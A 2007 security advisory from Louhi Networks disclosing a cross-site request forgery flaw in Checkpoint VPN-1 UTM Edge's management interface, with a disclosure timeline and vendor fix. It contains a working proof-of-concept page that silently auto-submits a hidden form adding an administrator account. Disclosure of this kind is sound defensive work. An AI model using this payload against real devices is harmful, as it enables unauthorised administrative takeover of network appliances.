checkpoint-csrf.txt
Posted on 29 June 2007
Louhi Networks Oy -= Security Advisory =- Advisory: Checkpoint VPN-1 UTM Edge Cross Site Request Forgery Release Date: 2007/06/26 Last Modified: 2007/06/26 Authors: Henri Lindberg, Associate of (ISC)² [henri.lindberg@louhi.fi] Jussi Vuokko, CISSP [jussi.vuokko@louhi.fi] Application: Checkpoint VPN-1 Edge X Embedded NGX 7.0.33x (Other versions of the same software might be affected.) Devices: Checkpoint VPN-1 UTM Edge Severity: Cross site request forgery in management interface Risk: Moderate Vendor Status: Vendor has released an updated version References: http://www.louhi.fi/advisory/checkpoint_070626.txt Overview: Quote from http://www.checkpoint.com/ "VPN-1 UTM Edge appliances deliver unified threat management to enterprises with branch offices and simplify security deployments and manageability. VPN-1 UTM Edge appliances consolidate proven enterprise-class technology into a single branch office solution that does not compromise the corporate network and eliminates the branch office as your weakest link. As part of Check Point's Unified Security Architecture, VPN-1 UTM Edge can enforce a global security policy and allows administrators to manage and update thousands of appliances as easily as managing one." During an audit of VPN-1 UTM Edge it was discovered that a cross site request forgery vulnerability exists in the management interface. Thus, it is possible for an attacker to perform any administrative actions in the management interface. These include e.g. adding additional admin users. Details: Checkpoint VPN-1 Edge Embedded device management interface does not validate the origin of an HTTP request. If attacker is able to make user visit a hostile web page, a VPN-1 Edge device can be controlled by submitting suitable forms. It is possible to add new users for example. Successful attack requires that the attacker knows the management interface address for the target device. As the management interface does not have logout functionality, user can be vulnerable to this attack even after closing a tab containing the management interface (if user does not close the browser window or clear cookies and depending on browser behaviour). Proof of Concept: Example form (adds new read-only administrator): <html> <body onload="document.CSRF.submit()"> <form name="CSRF" method="post" action="https://fw.example.com/pop/WizU.html "style="display:none"> <input name="swstate" value="WizU1"> <input name="swtosave" value="1"> <input name="swback" value="0"> <input name="swindex" value="-1"> <input name="swuuser" value="evil-user"> <input name="swupass" value="password"> <input name="swuexp" value="0"> <input name="swuday" value="4"> <input name="swumonth" value="5"> <input name="swuyear" value="2008"> <input name="swuhour" value="03"> <input name="swumin" value="11"> <input name="swuampm" value="1"> <input name="swuacc" value="1"> <input name="swuvpn" value="0"> <input name="swuufp" value="0"> <input name="swuhot" value="0"> <input name="tacc" value="1"> </form> </body> </html> Workaround: Update to new version. More information http://en.wikipedia.org/wiki/Cross-site_request_forgery Disclosure Timeline: 7. June 2007 - Contacted Checkpoint by email 26. June 2007 - Vendor released an updated version 26. June 2007 - Advisory was released Copyright 2007 Louhi Networks Oy. All rights reserved.
